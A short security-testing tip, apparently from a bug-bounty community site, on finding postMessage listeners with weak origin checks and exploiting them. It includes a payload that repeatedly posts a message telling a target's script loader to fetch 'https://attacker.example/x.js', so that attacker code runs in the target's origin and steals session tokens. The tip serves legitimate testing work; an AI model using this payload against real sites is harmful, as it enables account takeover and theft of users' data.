Test postMessage listeners for origin validation
When testing a target, check all postMessage listeners on every in-scope page to see what origins they trust and what actions they perform. Look for listeners that trust opaque origins or have weak validation. Check the listener's code to see where the received message is used, such as in cmd.push or apply calls. If you find a listener that can be exploited, try to trigger it with a message from an attacker-controlled origin, such as a sandboxed iframe with allow-scripts and allow-popups-to-escape-sandbox attributes. You can use a payload like
const w = window.open('https://target.com');
setInterval(() => w.postMessage({ app: 'SDK_APP', sdkName: 'scriptLoader', methodName: 'load', args: ['https://attacker.example/x.js'] }, '*'), 50);to test the exploit. If successful, the payload can execute in the target's origin and steal sensitive data like session tokens.
Follow #account-takeover or #postmessage for new tips like this one, on your notifications page and, if you choose, in a daily or weekly email.
Comments
No comments yet.